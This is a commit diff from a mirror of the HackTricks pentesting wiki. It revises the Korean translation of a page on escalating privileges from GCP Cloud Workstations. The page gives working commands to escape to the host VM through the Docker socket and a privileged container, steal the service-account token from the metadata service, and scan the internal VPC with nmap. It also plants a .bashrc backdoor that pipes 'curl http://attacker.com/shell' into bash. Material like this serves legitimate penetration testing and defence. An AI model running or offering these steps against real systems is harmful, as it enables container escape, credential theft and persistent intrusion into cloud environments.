mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat
This commit is contained in:
@@ -1,22 +1,23 @@
|
||||
# GCP - Cloud Workstations Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||
|
||||
Cloud Workstations에서의 주요 권한 상승 경로는 개발자용 **Docker-in-Docker (DinD)** 워크플로를 지원해야 하는 요구사항에서 비롯됩니다. 워크스테이션 설정이 Docker socket을 마운트하거나 privileged containers를 허용하는 경우(일반적인 구성), 워크스테이션 컨테이너 내부의 공격자는 이를 이용해 호스트의 Compute Engine VM으로 container escape를 수행하고 해당 VM의 서비스 계정 토큰을 탈취할 수 있습니다.
|
||||
Cloud Workstations에서 주요 권한 상승 경로는 개발자용으로 **Docker-in-Docker (DinD)** 워크플로를 지원해야 하는 요구사항에서 비롯됩니다. 워크스테이션 구성에서 Docker socket을 마운트하거나 privileged containers를 허용하는 경우(일반적인 구성), 워크스테이션 컨테이너 내부의 공격자는 기본 Compute Engine VM으로 탈출해 service account token을 탈취할 수 있습니다.
|
||||
|
||||
**전제 조건:**
|
||||
- Cloud Workstation 터미널 접근권 (SSH, 탈취된 세션 또는 도용된 자격증명 통해)
|
||||
- 워크스테이션 구성에서 `/var/run/docker.sock`를 마운트하거나 privileged containers를 활성화해야 함
|
||||
**사전 요구사항:**
|
||||
- SSH, 탈취된 세션 또는 도난된 자격 증명 등을 통해 Cloud Workstation 터미널에 접근할 수 있어야 함
|
||||
- 워크스테이션 구성에서 `/var/run/docker.sock`을 마운트하거나 privileged containers를 활성화해야 함
|
||||
|
||||
**아키텍처 컨텍스트:** 워크스테이션은 컨테이너(Layer 3)로서 Docker/Containerd 런타임(Layer 2) 위의 GCE VM(Layer 1)에서 실행됩니다. Docker socket은 호스트의 컨테이너 런타임에 대한 직접 접근을 제공합니다.
|
||||
**Architecture context:** 워크스테이션은 컨테이너(Layer 3)로, Docker/Containerd 런타임(Layer 2) 위에서 GCE VM(Layer 1)에서 실행됩니다. Docker socket은 호스트의 컨테이너 런타임에 대한 직접 접근을 제공합니다.
|
||||
|
||||
> [!NOTE]
|
||||
> 도구 [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) 는 전체 container escape 과정을 자동화하여 호스트 VM의 root shell로 진입시켜줍니다.
|
||||
> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) 자동화된 전체 container escape 과정을 제공하며 호스트 VM에서 root shell로 진입시켜 줍니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Step 1: Check for Docker socket</summary>
|
||||
<summary>Step 1: Docker socket 확인</summary>
|
||||
```bash
|
||||
# Verify the Docker socket is available
|
||||
ls -l /var/run/docker.sock
|
||||
@@ -28,7 +29,7 @@ ls -l /var/run/docker.sock
|
||||
|
||||
<summary>Step 2: Escape to the host VM filesystem</summary>
|
||||
|
||||
privileged container를 실행하여 호스트의 루트 디렉터리를 `/mnt/host`에 마운트합니다. 가시성을 최대화하기 위해 호스트의 네트워크와 PID namespace도 공유합니다.
|
||||
우리는 privileged container를 실행하여 호스트의 루트 디렉터리를 `/mnt/host`에 마운트합니다. 또한 가시성을 최대화하기 위해 호스트의 네트워크와 PID namespace를 공유합니다.
|
||||
```bash
|
||||
# Spawn a privileged container mounting the host's root filesystem
|
||||
docker run -it --rm --privileged --net=host --pid=host \
|
||||
@@ -38,13 +39,13 @@ alpine sh
|
||||
# Inside the new container, chroot into the host
|
||||
chroot /mnt/host /bin/bash
|
||||
```
|
||||
이제 **root shell on the underlying Compute Engine VM** (Layer 1)을 확보했습니다.
|
||||
이제 **root shell on the underlying Compute Engine VM** (Layer 1)를 확보했습니다.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>3단계: Steal the VM service account token from IMDS</summary>
|
||||
<summary>단계 3: VM service account token을 IMDS에서 탈취</summary>
|
||||
```bash
|
||||
# From the host VM, query the Instance Metadata Service
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
@@ -61,16 +62,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> **권한 범위를 확인하세요!**
|
||||
> 첨부된 서비스 계정이 **Editor**여도, VM은 액세스 스코프에 의해 제한될 수 있습니다.
|
||||
> `https://www.googleapis.com/auth/cloud-platform`가 보이면 전체 액세스 권한이 있습니다.
|
||||
> `logging.write` 및 `monitoring.write`만 보이면, 아래의 **Network Pivot** 및 **Persistence** 벡터로 제한됩니다.
|
||||
> **스코프를 확인하세요!**
|
||||
> 할당된 Service Account가 **Editor** 권한이라 하더라도 VM은 access scopes에 의해 제한될 수 있습니다.
|
||||
> 만약 `https://www.googleapis.com/auth/cloud-platform`가 보이면 전체 권한이 있습니다.
|
||||
> 만약 `logging.write`와 `monitoring.write`만 보인다면, 아래의 **Network Pivot** 및 **Persistence** 벡터로 제한됩니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>단계 4: Achieve Persistence (Backdoor the User)</summary>
|
||||
<summary>Step 4: Persistence 달성 (Backdoor the User)</summary>
|
||||
|
||||
Cloud Workstations는 `/home/user`에 영구 디스크를 마운트합니다. 컨테이너 사용자(보통 `user`, UID 1000)가 호스트 사용자(UID 1000)와 일치하므로 호스트의 홈 디렉터리에 쓸 수 있습니다. 이로 인해 workstation container가 재구성되더라도 환경에 backdoor를 설치할 수 있습니다.
|
||||
Cloud Workstations는 영구 디스크를 `/home/user`에 마운트합니다. 컨테이너 사용자(일반적으로 `user`, UID 1000)가 호스트 사용자(UID 1000)와 일치하기 때문에 호스트의 홈 디렉터리에 쓸 수 있습니다. 이렇게 하면 workstation container가 재빌드되더라도 환경에 backdoor를 심을 수 있습니다.
|
||||
```bash
|
||||
# Check if you can write to the host's persistent home
|
||||
ls -la /mnt/host/home/user/
|
||||
@@ -83,9 +84,9 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
||||
|
||||
<details>
|
||||
|
||||
<summary>5단계: Network Pivot (Internal VPC Access)</summary>
|
||||
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
|
||||
|
||||
호스트 네트워크 네임스페이스(`--net=host`)를 공유하고 있으므로 이제 VPC 내의 신뢰된 노드가 됩니다. IP whitelisting을 기반으로 접근을 허용하는 내부 서비스를 scan할 수 있습니다.
|
||||
호스트 네트워크 네임스페이스(`--net=host`)를 공유하므로, 이제 VPC 내의 신뢰된 노드가 됩니다. IP whitelisting을 기반으로 액세스를 허용하는 내부 서비스를 스캔할 수 있습니다.
|
||||
```bash
|
||||
# Install scanning tools on the host (if internet access allows)
|
||||
apk add nmap
|
||||
@@ -94,3 +95,7 @@ apk add nmap
|
||||
nmap -sS -p 80,443,22 10.0.0.0/8
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user